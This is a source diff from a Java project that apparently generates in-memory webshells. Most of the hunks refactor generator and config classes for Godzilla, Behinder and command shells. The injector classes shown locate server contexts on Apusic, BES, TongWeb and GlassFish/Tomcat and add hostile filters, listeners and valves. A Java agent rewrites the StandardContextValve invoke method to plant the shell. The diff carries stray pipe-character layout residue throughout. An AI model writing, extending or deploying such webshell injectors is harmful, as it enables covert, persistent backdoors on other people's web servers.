import com.reajason.javaweb.ShellGenerator;
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.memshell.generator.*;
|
import com.reajason.javaweb.memshell.generator.*;
|
||||||
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
||||||
@@ -34,7 +35,7 @@ public enum ShellTool {
|
|||||||
ShellGenerator generator = constructor.newInstance(shellConfig, configClass.cast(shellToolConfig));
|
ShellGenerator generator = constructor.newInstance(shellConfig, configClass.cast(shellToolConfig));
|
||||||
return generator.getBytes();
|
return generator.getBytes();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
throw new RuntimeException("Failed to create generator for " + this, e);
|
throw new RuntimeException("shell generate failed " + e.getMessage(), e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import lombok.ToString;
|
import lombok.ToString;
|
||||||
|
|||||||
@@ -1,47 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
|
||||||
|
|
||||||
import lombok.AllArgsConstructor;
|
|
||||||
import lombok.Builder;
|
|
||||||
import lombok.Data;
|
|
||||||
import lombok.NoArgsConstructor;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/11/24
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
@NoArgsConstructor
|
|
||||||
@AllArgsConstructor
|
|
||||||
@Builder(builderClassName = "GenerateResultBuilder")
|
|
||||||
public class GenerateResult {
|
|
||||||
private String shellClassName;
|
|
||||||
private transient byte[] shellBytes;
|
|
||||||
private long shellSize;
|
|
||||||
private String shellBytesBase64Str;
|
|
||||||
private String injectorClassName;
|
|
||||||
private transient byte[] injectorBytes;
|
|
||||||
private transient Map<String, byte[]> injectorInnerClassBytes;
|
|
||||||
private long injectorSize;
|
|
||||||
private String injectorBytesBase64Str;
|
|
||||||
private ShellConfig shellConfig;
|
|
||||||
private ShellToolConfig shellToolConfig;
|
|
||||||
private InjectorConfig injectorConfig;
|
|
||||||
|
|
||||||
public static class GenerateResultBuilder {
|
|
||||||
public GenerateResult build() {
|
|
||||||
if (shellBytes != null) {
|
|
||||||
shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes);
|
|
||||||
shellSize = shellBytes.length;
|
|
||||||
}
|
|
||||||
if (injectorBytes != null) {
|
|
||||||
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
|
|
||||||
injectorSize = injectorBytes.length;
|
|
||||||
}
|
|
||||||
return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
|
|
||||||
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
|
|
||||||
|
|||||||
@@ -1,13 +1,12 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
import lombok.NoArgsConstructor;
|
import lombok.NoArgsConstructor;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -21,17 +20,23 @@ public class ShellConfig {
|
|||||||
/**
|
/**
|
||||||
* 目标服务类型
|
* 目标服务类型
|
||||||
*/
|
*/
|
||||||
Server server;
|
private String server;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 目标服务版本
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private String serverVersion = "unknown";
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 内存马功能
|
* 内存马功能
|
||||||
*/
|
*/
|
||||||
ShellTool shellTool;
|
private ShellTool shellTool;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 内存马类型
|
* 内存马类型
|
||||||
*/
|
*/
|
||||||
String shellType;
|
private String shellType;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 生成类的目标 JRE 版本
|
* 生成类的目标 JRE 版本
|
||||||
@@ -63,7 +68,7 @@ public class ShellConfig {
|
|||||||
|
|
||||||
|
|
||||||
public boolean isJakarta() {
|
public boolean isJakarta() {
|
||||||
return StringUtils.containsIgnoreCase(shellType, "jakarta");
|
return shellType.startsWith(ShellType.JAKARTA);
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean needByPassJavaModule() {
|
public boolean needByPassJavaModule() {
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ShellGenerator;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
|
||||||
|
|||||||
+1
-1
@@ -2,8 +2,8 @@ package com.reajason.javaweb.memshell.generator;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.utils.DigestUtils;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import org.apache.commons.codec.digest.DigestUtils;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
|||||||
+6
-4
@@ -1,13 +1,15 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.ShellGenerator;
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
@@ -36,14 +38,14 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
|||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())));
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())));
|
||||||
|
|
||||||
String shellType = shellConfig.getShellType();
|
String shellType = shellConfig.getShellType();
|
||||||
AbstractShell shell = shellConfig.getServer().getShell();
|
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
|
||||||
|
|
||||||
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
||||||
builder = ListenerGenerator.build(builder, shell.getListenerInterceptor(), shellClass, shellClassName);
|
builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellClass, shellClassName);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
|
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
|
||||||
builder = ValveGenerator.build(builder, shell);
|
builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion());
|
||||||
}
|
}
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
if (shellConfig.isJakarta()) {
|
||||||
|
|||||||
+2
-1
@@ -1,6 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.GenerationException;
|
||||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
import com.reajason.javaweb.memshell.config.CustomConfig;
|
import com.reajason.javaweb.memshell.config.CustomConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
@@ -23,7 +24,7 @@ public class CustomShellGenerator extends ASMShellGenerator<CustomConfig> {
|
|||||||
String shellClassBase64 = shellToolConfig.getShellClassBase64();
|
String shellClassBase64 = shellToolConfig.getShellClassBase64();
|
||||||
|
|
||||||
if (StringUtils.isBlank(shellClassBase64)) {
|
if (StringUtils.isBlank(shellClassBase64)) {
|
||||||
throw new IllegalArgumentException("Custom shell class is empty");
|
throw new GenerationException("Custom shell class is empty");
|
||||||
}
|
}
|
||||||
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
|
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
|
||||||
byte[] bytes = ClassRenameUtils.renameClass(classBytes, shellToolConfig.getShellClassName());
|
byte[] bytes = ClassRenameUtils.renameClass(classBytes, shellToolConfig.getShellClassName());
|
||||||
|
|||||||
+1
-2
@@ -1,10 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.utils.DigestUtils;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import org.apache.commons.codec.digest.DigestUtils;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
|||||||
+1
-1
@@ -5,7 +5,7 @@ import com.reajason.javaweb.asm.InnerClassDiscovery;
|
|||||||
import com.reajason.javaweb.buddy.*;
|
import com.reajason.javaweb.buddy.*;
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
|||||||
+4
-11
@@ -1,17 +1,14 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
|
||||||
import net.bytebuddy.description.modifier.Ownership;
|
import net.bytebuddy.description.modifier.Ownership;
|
||||||
import net.bytebuddy.description.modifier.Visibility;
|
import net.bytebuddy.description.modifier.Visibility;
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
|
|
||||||
import java.util.Collections;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
|
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
|
||||||
|
|
||||||
@@ -22,13 +19,9 @@ import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
|
|||||||
public class ListenerGenerator {
|
public class ListenerGenerator {
|
||||||
|
|
||||||
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) {
|
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) {
|
||||||
builder = builder.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
builder = builder
|
||||||
.method(named("getResponseFromRequest"),
|
.visit(MethodCallReplaceVisitorWrapper.newInstance(
|
||||||
new MethodCallReplaceVisitorWrapper(
|
"getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
|
||||||
newClassName,
|
|
||||||
Collections.singleton(ShellCommonUtil.class.getName()))
|
|
||||||
)
|
|
||||||
)
|
|
||||||
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
||||||
|
|
||||||
boolean methodNotFound = TypeDescription.ForLoadedType.of(targetClass)
|
boolean methodNotFound = TypeDescription.ForLoadedType.of(targetClass)
|
||||||
|
|||||||
+12
-6
@@ -1,6 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.server.*;
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
|
import com.reajason.javaweb.memshell.server.Bes;
|
||||||
|
import com.reajason.javaweb.memshell.server.TongWeb;
|
||||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||||
import net.bytebuddy.description.field.FieldDescription;
|
import net.bytebuddy.description.field.FieldDescription;
|
||||||
import net.bytebuddy.description.field.FieldList;
|
import net.bytebuddy.description.field.FieldList;
|
||||||
@@ -27,18 +30,21 @@ public class ValveGenerator {
|
|||||||
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
||||||
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
||||||
|
|
||||||
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractShell shell) {
|
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
||||||
String packageName = null;
|
String packageName = null;
|
||||||
if (shell instanceof TongWeb6Shell) {
|
if (serverVersion.equals("6")) {
|
||||||
packageName = TONGWEB6_VALVE_PACKAGE;
|
packageName = TONGWEB6_VALVE_PACKAGE;
|
||||||
} else if (shell instanceof TongWeb7Shell) {
|
} else if (serverVersion.equals("7")) {
|
||||||
packageName = TONGWEB7_VALVE_PACKAGE;
|
packageName = TONGWEB7_VALVE_PACKAGE;
|
||||||
} else if (shell instanceof TongWeb8Shell) {
|
} else if (serverVersion.equals("8")) {
|
||||||
packageName = TONGWEB8_VALVE_PACKAGE;
|
packageName = TONGWEB8_VALVE_PACKAGE;
|
||||||
} else if (shell instanceof BesShell) {
|
} else if (shell instanceof Bes) {
|
||||||
packageName = BES_VALVE_PACKAGE;
|
packageName = BES_VALVE_PACKAGE;
|
||||||
}
|
}
|
||||||
if (StringUtils.isEmpty(packageName)) {
|
if (StringUtils.isEmpty(packageName)) {
|
||||||
|
if (shell instanceof TongWeb) {
|
||||||
|
throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion");
|
||||||
|
}
|
||||||
return builder;
|
return builder;
|
||||||
}
|
}
|
||||||
return builder.visit(new ValveRenameVisitorWrapper(packageName));
|
return builder.visit(new ValveRenameVisitorWrapper(packageName));
|
||||||
|
|||||||
+3
-11
@@ -6,16 +6,13 @@ import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
|
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
|
||||||
import net.bytebuddy.description.modifier.Ownership;
|
import net.bytebuddy.description.modifier.Ownership;
|
||||||
import net.bytebuddy.description.modifier.Visibility;
|
import net.bytebuddy.description.modifier.Visibility;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
|
|
||||||
import java.util.Collections;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -43,13 +40,8 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
|
|||||||
|
|
||||||
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
|
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
|
||||||
builder = builder
|
builder = builder
|
||||||
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
|
||||||
.method(named("getParam"),
|
shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
|
||||||
new MethodCallReplaceVisitorWrapper(
|
|
||||||
shellToolConfig.getShellClassName(),
|
|
||||||
Collections.singleton(ShellCommonUtil.class.getName()))
|
|
||||||
)
|
|
||||||
)
|
|
||||||
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
|
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||||
.withParameters(String.class)
|
.withParameters(String.class)
|
||||||
.throwing(Exception.class)
|
.throwing(Exception.class)
|
||||||
|
|||||||
+1
-1
@@ -1,6 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.command;
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
|||||||
+2
-5
@@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class ApusicFilterInjector {
|
public class ApusicFilterInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new ApusicFilterInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public ApusicFilterInjector() {
|
public ApusicFilterInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
@@ -46,7 +42,8 @@ public class ApusicFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* com.apusic.web.container.WebContainer
|
* context: com.apusic.web.container.WebContainer
|
||||||
|
* context -> webapp: com.apusic.deploy.runtime.WebModule
|
||||||
* /usr/local/ass/lib/apusic.jar
|
* /usr/local/ass/lib/apusic.jar
|
||||||
*/
|
*/
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
-3
@@ -15,9 +15,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @since 2024/12/27
|
* @since 2024/12/27
|
||||||
*/
|
*/
|
||||||
public class ApusicListenerInjector {
|
public class ApusicListenerInjector {
|
||||||
static {
|
|
||||||
new ApusicListenerInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public ApusicListenerInjector() {
|
public ApusicListenerInjector() {
|
||||||
try {
|
try {
|
||||||
-4
@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class ApusicServletInjector {
|
public class ApusicServletInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new ApusicServletInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public ApusicServletInjector() {
|
public ApusicServletInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
-4
@@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
public class BesFilterInjector {
|
public class BesFilterInjector {
|
||||||
Logger log = Logger.getLogger(BesFilterInjector.class.getName());
|
Logger log = Logger.getLogger(BesFilterInjector.class.getName());
|
||||||
|
|
||||||
static {
|
|
||||||
new BesFilterInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public BesFilterInjector() {
|
public BesFilterInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
-7
@@ -6,7 +6,6 @@ import java.io.IOException;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
import java.util.logging.Logger;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
@@ -14,12 +13,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class BesListenerInjector {
|
public class BesListenerInjector {
|
||||||
static {
|
|
||||||
new BesListenerInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
Logger log = Logger.getLogger(BesListenerInjector.class.getName());
|
|
||||||
|
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
+1
-4
@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class BesValveInjector {
|
public class BesValveInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new BesValveInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public BesValveInjector() {
|
public BesValveInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
@@ -96,6 +92,7 @@ public class BesValveInjector {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
Class valveClass = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.Valve");
|
Class valveClass = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.Valve");
|
||||||
|
// com.bes.enterprise.webtier.core.DefaultPipeline
|
||||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||||
}
|
}
|
||||||
|
|
||||||
+3
-3
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.tomcat;
|
package com.reajason.javaweb.memshell.injector.glassfish;
|
||||||
|
|
||||||
import org.objectweb.asm.*;
|
import org.objectweb.asm.*;
|
||||||
|
|
||||||
@@ -13,7 +13,7 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/3/26
|
* @since 2025/3/26
|
||||||
*/
|
*/
|
||||||
public class TomcatContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
|
public class GlassFishContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
|
||||||
private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
|
private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
|
||||||
private static final String TARGET_METHOD_NAME = "invoke";
|
private static final String TARGET_METHOD_NAME = "invoke";
|
||||||
|
|
||||||
@@ -35,7 +35,7 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
|||||||
|
|
||||||
private static void launch(Instrumentation inst) throws Exception {
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
System.out.println("MemShell Agent is starting");
|
System.out.println("MemShell Agent is starting");
|
||||||
